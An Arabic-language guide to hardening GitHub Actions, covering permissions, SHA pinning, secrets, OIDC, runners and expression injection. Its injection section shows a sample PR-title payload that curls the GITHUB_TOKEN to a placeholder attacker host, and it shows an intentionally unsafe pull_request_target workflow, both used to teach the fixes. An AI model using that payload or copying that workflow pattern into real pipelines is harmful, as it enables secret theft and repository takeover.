أمان GitHub Actions: الدليل الشامل

أصبحت GitHub Actions منصة CI/CD الأوسع انتشارًا في العالم. فمع قدرة أكثر من 90% من مستودعات GitHub على استخدامها محليًا، صارت تشغّل كل شيء بدءًا من فحوص linting البسيطة وصولًا إلى عمليات النشر المعقدة متعددة السحابات. لكن هذا الانتشار الواسع يجعلها سطح الهجوم الأكثر استهدافًا في مجال CI/CD ضمن تطوير البرمجيات الحديث.

في عامَي 2024 و2025، اخترق المهاجمون إجراءات GitHub Actions شائعة (مثل tj-actions/changed-files وreviewdog)، وحقنوا شيفرة خبيثة في آلاف workflows الخاصة بـ CI، وسرّبوا الأسرار من مؤسسات كانت تفترض أن خطوط أنابيبها آمنة. لم تعد هجمات سلسلة التوريد على CI/CD مجرد فرضية نظرية — بل باتت أمرًا اعتياديًا.

هذا الدليل مرجع شامل وعملي لتأمين GitHub Actions من الأساس. سواء كنت مهندس DevOps يعمل على تقوية workflows الإنتاجية، أو مهندس أمن يضع سياسة CI/CD، أو مطورًا يريد التوقف عن شحن الثغرات عبر خط أنابيبه، فهذا المقال يغطي كل ما تحتاج إلى معرفته — مع روابط إلى مختبرات تفصيلية وأوراق مرجعية في مواضع متعددة.

فهم نموذج الأمان في GitHub Actions

قبل أن تتمكن من تأمين GitHub Actions، عليك فهم كيفية عمل نموذج الأمان فيها فعليًا. تعمل GitHub Actions وفق نموذج ثقة مبني على ثلاث ركائز: رموز المصادقة (authentication tokens)، ومُطلِقات الـ workflow (triggers)، وبيئات التنفيذ (execution environments).

رمز GITHUB_TOKEN

يُصدَر لكل تشغيل workflow تلقائيًا رمز GITHUB_TOKEN — وهو token قصير العمر محصور بنطاق المستودع الذي يعمل فيه الـ workflow. هذا الـ token هو آلية المصادقة الأساسية للتفاعل مع GitHub API من داخل الـ workflows. وبشكل افتراضي، يمتلك الـ token صلاحيات قراءة/كتابة واسعة عبر المستودع، بما في ذلك القدرة على دفع الشيفرة (push)، وإدارة المشكلات (issues)، وتعديل الحزم (packages).

الفكرة الأمنية الجوهرية هي: الصلاحيات الافتراضية لـ GITHUB_TOKEN واسعة جدًا بالنسبة لمعظم الـ workflows. فالـ workflow الذي يحتاج فقط إلى نشر تعليق على pull request لا ينبغي أن يملك صلاحية دفع الشيفرة. ومع ذلك، فهو يملكها ما لم تُضبط الإعدادات صراحةً.

مُطلِقات الـ Workflow

تدعم GitHub Actions عشرات من مُطلِقات الأحداث — push وpull_request وpull_request_target وworkflow_dispatch وschedule وissue_comment وغيرها. ولكل مُطلِق تبعات أمنية مختلفة:

  • pull_request — يعمل في سياق شيفرة الـ fork. يكون GITHUB_TOKEN للقراءة فقط. لا تتوفر الأسرار من الـ forks. هذا هو المُطلِق الأكثر أمانًا للمساهمات الخارجية.
  • pull_request_target — يعمل في سياق المستودع الأساسي (base). يمتلك GITHUB_TOKEN صلاحية الكتابة. وتتوفر الأسرار. وهذا خطير للغاية إذا قمت بسحب (checkout) شيفرة رأس الـ PR.
  • push — يعمل على الـ commit المدفوع. وصول كامل إلى الأسرار ورموز الكتابة. آمن للفروع الموثوقة فقط.
  • workflow_dispatch — مُطلِق يدوي. مفيد لعمليات النشر المُحكَمة، لكن تحقّق من معاملات الإدخال.
  • schedule — يعمل وفق جدول cron على الفرع الافتراضي. يملك صلاحية الكتابة والأسرار. تأكد من أن الـ workflows المجدولة غير قابلة للتعديل من قبل pull requests غير موثوقة.

البيئات وحماية النشر

توفّر بيئات GitHub (Environments) حدًا أمنيًا إضافيًا. إذ يمكنك إرفاق قواعد حماية بالبيئات — مراجِعون مطلوبون، ومؤقتات انتظار، وقيود على الفروع، وسياسات فروع النشر. ويمكن حصر الأسرار في بيئات محددة، مما يضمن أن بيانات الاعتماد الإنتاجية لا تتوفر إلا للـ workflows التي تنشر إلى الإنتاج.

تُعد البيئات من أكثر ميزات الأمان استخفافًا واستخدامًا ناقصًا في GitHub Actions. إن لم تكن تستخدمها، فأنت تفوّت طبقة تحكّم بالغة الأهمية.

صلاحيات الـ Workflow: مبدأ الامتياز الأدنى

أكثر تحسين أمني تأثيرًا يمكنك إجراؤه على أي workflow في GitHub Actions هو تقييد صلاحيات GITHUB_TOKEN. تتيح لك GitHub ضبط الصلاحيات على مستويين: الـ workflow بأكمله، والوظائف (jobs) الفردية.

ضبط الصلاحيات الافتراضية على القراءة فقط

على مستوى المؤسسة أو المستودع، انتقل إلى Settings → Actions → General → Workflow permissions واختر “Read repository contents and packages permissions”. يضمن ذلك أن يبدأ كل workflow بصلاحيات دنيا، وأن يطلب صراحةً أي شيء يتجاوز صلاحية القراءة.

وفي ملفات الـ workflow لديك، صرّح دائمًا بالصلاحيات صراحةً على المستوى الأعلى:

permissions:
  contents: read
  pull-requests: write  # Only if needed

وبالنسبة للوظائف التي تتطلب صلاحيات مختلفة، صرّح بها على مستوى الوظيفة. فصلاحيات مستوى الوظيفة تتجاوز صلاحيات مستوى الـ workflow لتلك الوظيفة تحديدًا، مما يوفّر تحكّمًا أدق:

jobs:
  build:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm build

  deploy:
    permissions:
      contents: read
      id-token: write  # For OIDC
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@v4

للاطلاع على مرجع كامل حول الصلاحيات المطلوبة للعمليات الشائعة، راجع ورقة GitHub Actions المرجعية للأمان، التي تربط كل مهمة شائعة بالحد الأدنى من مجموعة الصلاحيات المطلوبة لها.

تثبيت الإجراءات (Action Pinning): الدفاع ضد هجمات سلسلة التوريد

كل توجيه uses: في الـ workflow لديك هو اعتمادية (dependency) — ومثل أي اعتمادية، يمكن اختراقه. لقد أظهرت حادثة tj-actions/changed-files في مطلع عام 2025 بالضبط ما يحدث عند اختطاف إجراء شائع: عدّل المهاجم الإجراء ليسرّب GITHUB_TOKEN وأسرارًا أخرى من كل مستودع أشار إليه عبر tag.

لماذا لا تكفي الوسوم (Tags) والفروع (Branches)

عندما تشير إلى إجراء مثل actions/checkout@v4، فأنت تثق بأن مشرف الإجراء — وأي شخص يخترق حسابه — لن ينقل ذلك الـ tag أو يعدّله. الوسوم في Git قابلة للتغيير. فالمهاجم الذي يحصل على صلاحية الكتابة في مستودع يستطيع توجيه v4 إلى أي commit يختاره.

التثبيت عبر SHA

الحل هو تثبيت الإجراءات على الـ commit SHA الكامل الخاص بها:

# Bad - mutable tag
- uses: actions/checkout@v4

# Good - immutable SHA pin with version comment
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

المراجع المثبّتة عبر SHA غير قابلة للتغيير. فحتى لو اختُرق مستودع الإجراء، يظل الـ SHA يشير إلى الشيفرة نفسها التي دقّقتها. ويضمن التعليق اللاحق أن يظل بمقدور البشر تمييز النسخة بنظرة سريعة، وأن تظل أدوات مثل Dependabot قادرة على اقتراح التحديثات.

أتمتة تحديثات التثبيت باستخدام Dependabot

يخلق التثبيت عبر SHA عبئًا صيانيًا — إذ يتعين عليك تحديث نقاط التثبيت عند إصدار نسخ جديدة. وهنا يأتي دور Dependabot. أضِف إعداد .github/dependabot.yml:

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

سيفتح Dependabot تلقائيًا pull requests لتحديث إجراءاتك المثبّتة عبر SHA إلى أحدث نسخة، مع الحفاظ على مرجع الـ SHA غير القابل للتغيير. يمنحك ذلك أمان التثبيت مع راحة التحديثات المؤتمتة.

للحصول على جولة عملية في تطبيق تثبيت الإجراءات، وتقوية الصلاحيات، وأفضل ممارسات الأسرار في workflow حقيقي، أكمِل المختبر: تقوية workflows الخاصة بـ GitHub Actions — الصلاحيات والتثبيت والأسرار.

إدارة الأسرار

توجد الأسرار في GitHub Actions ضمن ثلاثة نطاقات: المستودع (repository)، والبيئة (environment)، والمؤسسة (organization). وفهم الفروق واستخدام النطاق الصحيح أمر بالغ الأهمية للأمان.

أسرار المستودع

متاحة لجميع الـ workflows في المستودع. ويمكن لأي workflow يُطلَق عبر push أو pull_request (من المستودع نفسه) الوصول إليها. وهي غير متاحة للـ workflows التي تُطلَق عبر أحداث pull_request من الـ forks.

أسرار البيئة

محصورة ببيئة محددة. لا يمكن إلا للوظائف التي تشير إلى تلك البيئة الوصول إلى أسرارها. وبالاقتران مع قواعد حماية البيئة (مراجِعون مطلوبون، وقيود على الفروع)، توفّر أسرار البيئة أقوى حماية أصلية للأسرار في GitHub Actions.

أسرار المؤسسة

مشتركة عبر المستودعات. ويمكن حصرها في مستودعات محددة أو إتاحتها للجميع. مفيدة لبيانات الاعتماد المشتركة مثل رموز سجل الحاويات، لكنها توسّع نطاق الضرر (blast radius) في حال الاختراق.

سلامة الـ Forks وحدث pull_request_target

التفاعل بين الـ forks والأسرار وحدث pull_request_target هو من أخطر المجالات في أمن GitHub Actions. وإليك القاعدة الأساسية:

لا تسحب (checkout) أبدًا شيفرة رأس الـ PR في workflow من نوع pull_request_target وتشغّلها مع وصول إلى الأسرار.

هذا النمط — الذي يُسمى أحيانًا “pwn request” — يتيح للمهاجم تقديم PR من fork يعدّل سكربت البناء (build script)، أو مجموعة الاختبارات، أو أي شيفرة أخرى قيد التنفيذ. ولأن pull_request_target يعمل بأسرار المستودع الأساسي ورمز الكتابة الخاص به، تُنفَّذ شيفرة المهاجم مع وصول كامل إلى بيانات اعتمادك.

# DANGEROUS - Never do this
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Attacker-controlled code!
      - run: npm test  # Runs attacker's code with your secrets

إن كان لا بد لك من استخدام pull_request_target، فاسحب شيفرة الفرع الأساسي فقط، أو استخدم نمط الـ workflow المزدوج، حيث يُنتِج الـ workflow الأول (المُطلَق عبر pull_request) مخرجات (artifacts)، ويعالج الثاني (المُطلَق عبر workflow_run) تلك المخرجات بصلاحيات مرتفعة.

OIDC واتحاد هوية أعباء العمل (Workload Identity Federation)

بيانات الاعتماد طويلة العمر المخزّنة كأسرار في GitHub قنبلة موقوتة. فإذا سُرّب سرٌّ ما — عبر إجراء مخترَق، أو تسريب في السجلات، أو PR خبيث — يحصل المهاجم على وصول دائم حتى تُدوَّر بيانات الاعتماد يدويًا. والحل هو اتحاد هوية أعباء العمل القائم على OIDC.

كيف يعمل OIDC في GitHub Actions

تستطيع GitHub Actions إصدار رموز OIDC تؤكّد هوية تشغيل الـ workflow. وتحتوي هذه الرموز على مطالبات (claims) بشأن المستودع، والفرع، والبيئة، والفاعل (actor)، والـ workflow. ويمكن ضبط مزوّدي السحابة (AWS وGCP وAzure) للوثوق بهذه الرموز واستبدالها ببيانات اعتماد قصيرة العمر.

يعمل التدفق على النحو التالي:

  1. يطلب الـ workflow لديك رمز OIDC من نقطة نهاية الرموز في GitHub (يتطلب صلاحية id-token: write).
  2. يُرسَل الرمز إلى نقطة نهاية STS/تبادل الرموز لدى مزوّد السحابة.
  3. يتحقق مزوّد السحابة من توقيع الرمز مقابل مستند اكتشاف OIDC الخاص بـ GitHub.
  4. إذا طابقت مطالبات الرمز سياسة الثقة لديك (المستودع والفرع والبيئة الصحيحة)، يُصدِر المزوّد بيانات اعتماد قصيرة العمر.
  5. يستخدم الـ workflow لديك بيانات الاعتماد المؤقتة هذه — التي تنتهي صلاحيتها تلقائيًا.

مثال: AWS مع OIDC

permissions:
  id-token: write
  contents: read

steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
      aws-region: us-east-1
      # No access keys needed!

مع OIDC، لا توجد بيانات اعتماد ثابتة تُسرَق. وحتى لو سرّب المهاجم رمز OIDC، فإنه ينتهي خلال دقائق ومرتبط بمطالبات محددة تحدّ من أماكن استخدامه.

للتعمق في المفاهيم الكامنة وراء اتحاد هوية أعباء العمل، اقرأ دليلنا حول بيانات الاعتماد قصيرة العمر واتحاد هوية أعباء العمل لـ CI/CD. ولتطبيقه عمليًا، اتبع المختبر: ضبط هوية أعباء العمل عبر OIDC بين GitHub Actions وAWS.

أمان الـ Runner: المستضاف مقابل ذاتي الاستضافة

الـ runner هو المكان الذي تُنفَّذ فيه شيفرة الـ workflow فعليًا. وتحدّد الخصائص الأمنية للـ runner لديك بشكل مباشر نطاق الضرر الناتج عن أي اختراق للـ workflow.

الـ Runners المستضافة من GitHub

الـ runners المستضافة من GitHub هي أجهزة افتراضية زائلة (ephemeral) تُهيَّأ من جديد لكل وظيفة ثم تُدمَّر بعدها. وهذا يوفّر عزلًا قويًا:

  • لا استمرارية بين الوظائف — لا يمكن للبرمجيات الخبيثة أن تبقى عبر عمليات التشغيل.
  • لا تحرّك جانبي (lateral movement) إلى workflows أو مستودعات أخرى.
  • صور أساس مُقوّاة (hardened) وقابلة للتنبؤ تصونها GitHub.

بالنسبة لمعظم الـ workflows، تكون الـ runners المستضافة من GitHub الخيار الأكثر أمانًا. والمقايضة هي محدودية التخصيص، واحتمال ارتفاع التكاليف لأعباء العمل كثيفة الحوسبة.

الـ Runners ذاتية الاستضافة: المخاطر والتخفيفات

تعمل الـ runners ذاتية الاستضافة على بنيتك التحتية الخاصة. وهي توفّر تحكّمًا أكبر وقد تكون أرخص على نطاق واسع، لكنها تُدخِل مخاطر أمنية كبيرة:

  • الاستمرارية — إذا لم يكن الـ runner زائلًا، فبإمكان workflow مخترَق زرع أبواب خلفية (backdoors) تؤثر في عمليات التشغيل المستقبلية.
  • الحالة المشتركة — قد تكون بيانات الاعتماد والذواكر المؤقتة (caches) والمخرجات من الوظائف السابقة قابلة للوصول.
  • الوصول الشبكي — غالبًا ما تملك الـ runners ذاتية الاستضافة وصولًا إلى الشبكات الداخلية وقواعد البيانات والخدمات التي لا تستطيع الـ runners المستضافة من GitHub بلوغها.
  • استغلال الـ Forks — إذا استخدم مستودع عام runners ذاتية الاستضافة وسمح بـ pull requests من forks، فبإمكان أي شخص تشغيل شيفرة عشوائية على بنيتك التحتية.

الـ Runners الزائلة باستخدام Actions Runner Controller (ARC)

أفضل نهج للـ runners ذاتية الاستضافة هو جعلها زائلة (ephemeral). يعمل Actions Runner Controller (ARC) على Kubernetes ويهيّئ pod runner جديدًا لكل وظيفة. وعند اكتمال الوظيفة، يُدمَّر الـ pod — تمامًا مثل runner مستضاف من GitHub، لكن على بنيتك التحتية الخاصة.

ممارسات أمان ARC الأساسية:

  • استخدم وضع Kubernetes (containerMode) لأقصى قدر من العزل.
  • اضبط حدود الموارد لمنع إساءة استخدامها في تعدين العملات المشفّرة.
  • استخدم سياسات الشبكة (network policies) لتقييد الخروج (egress) من pods الـ runner.
  • احصر مجموعات الـ runner في مستودعات محددة.
  • لا تُسنِد أبدًا runners ذاتية الاستضافة إلى مستودعات عامة إلا إذا كانت زائلة بالكامل.

للاطلاع على دليل كامل حول معمارية أمان الـ runner، راجع تأمين runners الخاصة بـ GitHub Actions. ولنشر runners زائلة عمليًا، اعمل على المختبر: runners زائلة ذاتية الاستضافة باستخدام Actions Runner Controller.

سلامة الإجراءات الخارجية (Third-Party Actions)

كل إجراء خارجي تشير إليه في workflow هو شيفرة تعمل داخل خط أنابيب CI/CD لديك مع وصول إلى شيفرتك المصدرية وأسرارك وبيانات اعتماد النشر. ومن الضروري التعامل مع الإجراءات الخارجية كأي اعتمادية برمجية أخرى.

تدقيق الإجراءات قبل استخدامها

قبل إضافة أي إجراء خارجي إلى workflows لديك:

  1. راجع الشيفرة المصدرية — تحقّق مما يفعله الإجراء فعليًا. ابحث عن الاتصالات الشبكية، والوصول إلى الأسرار، وتعديلات الملفات.
  2. تحقّق من المشرف — هل هو منشئ موثّق (verified creator)؟ وهل المستودع مصان بنشاط؟ وبأي سرعة تُعالَج القضايا الأمنية؟
  3. افحص الصلاحيات التي يطلبها — هل يحتاج إجراء “لوسم الـ PRs” إلى contents: write؟ هذا مؤشر خطر.
  4. ابحث عن سياسات أمنية منشورة — هل يمتلك مستودع الإجراء ملف SECURITY.md؟ وهل توجد عمليات للإفصاح عن الثغرات؟
  5. ثبّت على SHA — ثبّت دائمًا، حتى بعد التدقيق. فالشيفرة قد تتغير بعد مراجعتك.

تطبيق قوائم السماح للإجراءات (Allowlists)

على مستوى المؤسسة، تتيح لك GitHub تقييد الإجراءات التي يمكن استخدامها. انتقل إلى Organization Settings → Actions → General → Policies واضبط قائمة سماح. وتشمل الخيارات:

  • السماح فقط بالإجراءات التي أنشأتها GitHub.
  • السماح بالإجراءات من المنشئين الموثّقين إضافةً إلى قائمة سماح محددة.
  • السماح فقط بإجراءات محددة عبر مرجعها الكامل.

بالنسبة للمؤسسات، تُعد قائمة السماح تحكّمًا بالغ الأهمية. فهي تمنع المطورين من إضافة إجراءات غير مُدقَّقة إلى الـ workflows باستخفاف، وتوفّر عملية موافقة مركزية لاعتماديات الإجراءات الجديدة.

للتمرّن على كشف السلوك الخبيث في GitHub Actions باستخدام تقنيات التحليل الساكن (static analysis)، أكمِل المختبر: كشف إجراءات GitHub الخبيثة عبر التحليل الساكن.

حقن التعابير (Expression Injection)

حقن التعابير من أكثر الثغرات شيوعًا وخطورةً في workflows الخاصة بـ GitHub Actions. ويحدث عند إدراج مدخلات غير موثوقة مباشرةً داخل تعبير workflow باستخدام صياغة ${{ }}.

كيف يعمل حقن التعابير

تُقيَّم تعابير GitHub Actions قبل أن يراها الـ shell. فعندما تكتب:

- run: echo "Hello ${{ github.event.pull_request.title }}"

يُستبدَل التعبير بعنوان الـ PR الحرفي قبل إنشاء أمر الـ shell. فإذا أنشأ مهاجم PR بالعنوان التالي:

"; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo "

يصبح أمر الـ shell الناتج:

echo "Hello "; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo ""

وبذلك يكون المهاجم قد حقن أوامر shell عشوائية في الـ workflow لديك.

السياقات المعرّضة للخطر

قيم سياق GitHub التالية يتحكم بها المهاجم ولا ينبغي استخدامها مباشرةً في كتل run::

  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.event.issue.title
  • github.event.issue.body
  • github.event.comment.body
  • github.event.review.body
  • github.event.head_commit.message
  • github.head_ref (اسم الفرع — يتحكم به المهاجم في الـ forks)

الحل: متغيرات البيئة

بدلًا من إدراج التعابير داخل كتل run:، مرّرها عبر متغيرات البيئة:

# Vulnerable
- run: echo "PR title: ${{ github.event.pull_request.title }}"

# Safe
- run: echo "PR title: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

عندما تُمرَّر القيمة عبر متغير بيئة، يتعامل الـ shell معها كسلسلة نصية حرفية، لا كشيفرة للتنفيذ. وهذا يمنع الحقن تمامًا.

أمن سلسلة التوريد: التوقيع والإثبات (Provenance)

تأمين خط أنابيب CI/CD لا يقتصر على حماية خط الأنابيب نفسه — بل يتعلق بضمان أن المخرجات (artifacts) التي ينتجها خط الأنابيب جديرة بالثقة. ويشمل أمن سلسلة التوريد في GitHub Actions توقيع المخرجات، وإثبات المنشأ (provenance attestation)، والتحقق.

توقيع المخرجات باستخدام Cosign وSigstore

يتيح Cosign، وهو جزء من مشروع Sigstore، التوقيع من دون مفاتيح (keyless) لصور الحاويات وغيرها من المخرجات باستخدام هويات OIDC. وفي GitHub Actions، يعني ذلك أن هوية الـ workflow لديك (المستودع والفرع والـ workflow) تصبح هوية التوقيع — من دون مفاتيح توقيع ثابتة تديرها أو تحميها.

steps:
  - uses: sigstore/cosign-installer@v3
  - run: cosign sign --yes ${{ env.IMAGE_REF }}
    env:
      COSIGN_EXPERIMENTAL: 1

يُخزَّن التوقيع الناتج في سجل شفافية (Rekor)، مما يوفّر سجلًا قابلًا للتدقيق يثبت أن workflow معينًا في مستودع معين قد أنتج مخرجًا معينًا.

إثبات المنشأ عبر SLSA

يوفّر SLSA (Supply-chain Levels for Software Artifacts) إطارًا لضمان سلامة البناء. ويولّد إجراء GitHub الرسمي actions/attest-build-provenance إثباتات منشأ SLSA تسجّل بالضبط كيف بُني المخرَج — المستودع المصدر، والـ commit، والباني (builder)، وتعليمات البناء.

يجيب إثبات منشأ SLSA عن السؤال: “هل أستطيع إثبات أن هذا المخرَج بُني من هذه الشيفرة المصدرية بواسطة نظام CI/CD هذا؟” وبالنسبة لأي مؤسسة جادة بشأن أمن سلسلة التوريد، ينبغي أن يكون إثبات المنشأ جزءًا من كل workflow إصدار.

للحصول على خبرة عملية في توقيع الحاويات باستخدام Cosign ضمن خط أنابيب CI/CD، راجع مختبر التوقيع بـ Cosign. ولتطبيق توليد إثبات منشأ SLSA والتحقق منه، اعمل على مختبر إثبات منشأ SLSA.

أشيع أخطاء الإعداد: الخمسة الأولى

بعد تدقيق مئات من workflows الخاصة بـ GitHub Actions، هذه هي أخطاء الإعداد الأمنية الخمسة الأكثر شيوعًا التي نصادفها:

1. غياب كتلة الصلاحيات

الـ workflows التي لا تتضمن كتلة permissions: صريحة ترث صلاحيات الرمز الافتراضية للمستودع — وهي عادةً قراءة/كتابة لكل شيء. وهذا ينتهك مبدأ الامتياز الأدنى ويعظّم نطاق الضرر لأي اختراق.

الحل: أضِف كتلة permissions: read-all على المستوى الأعلى أو كتلة صلاحيات دقيقة إلى كل ملف workflow.

2. إجراءات خارجية غير مثبّتة

استخدام مراجع الوسوم مثل @v4 أو @main للإجراءات الخارجية يعرّضك لهجمات سلسلة التوريد. فإذا اختُرق مستودع الإجراء، يستطيع المهاجمون دفع شيفرة خبيثة تحت الـ tag الحالي.

الحل: ثبّت جميع الإجراءات الخارجية على الـ commit SHA الكامل. واستخدم Dependabot لإدارة التحديثات.

3. حقن التعابير في كتل run:

إدراج قيم السياق التي يتحكم بها المهاجم مباشرةً (عناوين الـ PRs، ونصوص المشكلات، وأسماء الفروع) في خطوات run: يتيح تنفيذ أوامر عشوائية.

الحل: مرّر دائمًا قيم السياق غير الموثوقة عبر متغيرات البيئة.

4. استخدام pull_request_target غير الآمن

سحب وتنفيذ شيفرة من رأس الـ PR في workflow من نوع pull_request_target يمنح المهاجم وصولًا إلى أسرار المستودع وصلاحيات الكتابة.

الحل: لا تسحب أبدًا github.event.pull_request.head.sha في workflows من نوع pull_request_target. استخدم نمط الـ workflow المزدوج بدلًا من ذلك.

5. بيانات اعتماد سحابية طويلة العمر كأسرار

تخزين مفاتيح وصول AWS، أو ملف JSON لحساب خدمة GCP، أو أسرار عميل Azure كأسرار للمستودع أو المؤسسة يخلق تعريضًا دائمًا لبيانات الاعتماد. فإذا سُرّبت هذه الأسرار، يحصل المهاجم على وصول طويل الأمد إلى مواردك السحابية.

الحل: استبدل بيانات الاعتماد الثابتة باتحاد هوية أعباء العمل عبر OIDC. فلا وجود لأسرار تُسرَق يعني عدم تعريض بيانات الاعتماد.

قائمة تحقق للتطبيق

استخدم قائمة التحقق هذه لتقوية workflows الخاصة بـ GitHub Actions بشكل منهجي. يرتبط كل بند بقسم في هذا الدليل:

  • الصلاحيات: اضبط صلاحيات الرمز الافتراضية للمؤسسة/المستودع على القراءة فقط.
  • الصلاحيات: أضِف كتل permissions: صريحة إلى كل workflow ووظيفة.
  • التثبيت: ثبّت جميع الإجراءات الخارجية على الـ commit SHA الكامل.
  • التثبيت: اضبط Dependabot لمنظومة github-actions.
  • الأسرار: انتقل من أسرار المستودع إلى أسرار البيئة مع قواعد الحماية.
  • الأسرار: دقّق جميع workflows من نوع pull_request_target بحثًا عن أنماط checkout غير آمنة.
  • OIDC: استبدل بيانات الاعتماد السحابية الثابتة باتحاد هوية أعباء العمل عبر OIDC.
  • OIDC: اضبط مرشّحات مطالبة الموضوع (subject claim) لتقييد نطاق الرمز (المستودع، والفرع، والبيئة).
  • الـ Runners: تأكد من أن الـ runners ذاتية الاستضافة زائلة (استخدم ARC أو ما شابه).
  • الـ Runners: لا تُسنِد أبدًا runners ذاتية الاستضافة إلى مستودعات عامة.
  • الإجراءات: طبّق قائمة سماح مؤسسية للإجراءات.
  • الإجراءات: دقّق جميع الإجراءات الخارجية قبل الموافقة عليها.
  • الحقن: افحص جميع الـ workflows بحثًا عن ${{ في كتل run: وعالِج نواقل الحقن.
  • سلسلة التوريد: طبّق توقيع المخرجات باستخدام Cosign/Sigstore.
  • سلسلة التوريد: ولّد إثبات منشأ SLSA لمخرجات الإصدار.
  • الـ Linting: أضِف actionlint وzizmor إلى خط أنابيب CI لديك لاكتشاف المشكلات تلقائيًا.
  • البيئات: استخدم بيئات GitHub مع مراجِعين مطلوبين لعمليات النشر الإنتاجية.

مختبرات ذات صلة

النظرية وحدها لا تكفي. طبّق ما تعلّمته في هذه المختبرات العملية:

أدوات لأمن GitHub Actions

أتمِت فرض الأمان باستخدام هذه الأدوات الأساسية:

actionlint

actionlint أداة تحليل ساكن لملفات workflow الخاصة بـ GitHub Actions. تلتقط أخطاء الصياغة، وعدم توافق الأنواع، وأوامر الـ shell غير الصالحة، والمشكلات الأمنية مثل حقن التعابير. شغّلها محليًا وفي CI لاكتشاف المشكلات قبل أن تصل إلى الإنتاج:

# Install and run
brew install actionlint
actionlint .github/workflows/*.yml

zizmor

zizmor أداة linting أمنية مخصّصة لـ GitHub Actions. وخلافًا لأدوات الـ linting العامة، يركّز zizmor تحديدًا على المشكلات الأمنية: حقن التعابير، والإجراءات غير المثبّتة، والصلاحيات المفرطة الاتساع، والمُطلِقات الخطرة، وغيرها. وهو يُنتِج نتائج قابلة للتنفيذ مع تصنيفات للخطورة وإرشادات للمعالجة:

# Install and run
pip install zizmor
zizmor .github/workflows/

ينبغي أن تكون كلتا الأداتين جزءًا من خط أنابيب CI لديك. شغّلهما على كل PR يعدّل ملفات الـ workflow. فهما معًا يلتقطان الغالبية العظمى من مشكلات أمن GitHub Actions الشائعة قبل دمجها.

الخلاصة

أمن GitHub Actions ليس مفتاح إعداد واحدًا — بل هو دفاع متعدد الطبقات يمتد عبر الصلاحيات، والاعتماديات، والأسرار، والهوية، والبنية التحتية، وسلامة سلسلة التوريد. إن الهجمات على خطوط أنابيب CI/CD تتزايد تواترًا وتعقيدًا، والمؤسسات التي تعامل أمن خط الأنابيب كأمر ثانوي ستكون هي التي تُصدِر إفصاحات الاختراق.

الخبر السار هو أن كل تخفيف في هذا الدليل قابل للتنفيذ اليوم. يمكنك ضبط الصلاحيات على القراءة فقط في خمس دقائق. ويمكنك تفعيل Dependabot لتثبيت الإجراءات في commit واحد. ويمكنك الانتقال من بيانات الاعتماد الثابتة إلى OIDC في فترة بعد الظهر. ويمكنك نشر runners زائلة قبل نهاية الأسبوع.

ابدأ بقائمة تحقق التطبيق أعلاه. اعمل على المختبرات. شغّل actionlint وzizmor على workflows الحالية لديك وأصلِح ما تجده. فكل خطوة تقوية تتخذها ترفع الكلفة على المهاجمين وتخفّض مخاطرك.

خط أنابيب CI/CD لديك نظام إنتاجي. أمّنه كما تؤمّن نظامًا إنتاجيًا.